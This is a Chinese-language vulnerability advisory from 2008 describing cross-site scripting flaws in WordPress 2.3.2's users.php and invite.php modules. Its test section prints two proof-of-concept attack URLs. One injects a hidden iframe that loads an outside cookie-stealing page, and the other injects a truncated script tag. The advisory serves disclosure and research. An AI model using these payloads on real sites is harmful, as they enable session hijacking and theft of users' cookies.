发布日期：2008-03-07
更新日期：2008-03-10

受影响系统：

WordPress WordPress 2.3.2

描述：

---

BUGTRAQ  ID: 28139

WordPress是一款免费的论坛Blog系统。

WordPress的users.php和invite.php模块没有正确地验证某些参数输入，如果远程攻击者向这些模块提交了恶意请求的话，就可以在用户浏览器会话中执行跨站脚本。

<*来源：Doz （DoZ@HackersCenter.com）
  
  链接：http://marc.info/?l=bugtraq&m=120490488802374&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/wp-admin/users.php?update=invite&amp;inviteemail=&gt;&lt; iframe src=http://members.lycos.co.uk/Account/CookieMonster.php width=0 height=0&gt;
http://www.example.com/wp-admin/invites.php?result=sent&amp;to=%22%3E%3Cscript%3Ealert

建议：

---

厂商补丁：

WordPress
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://wordpress.org/

浏览次数：4209
严重程度：0（网友投票）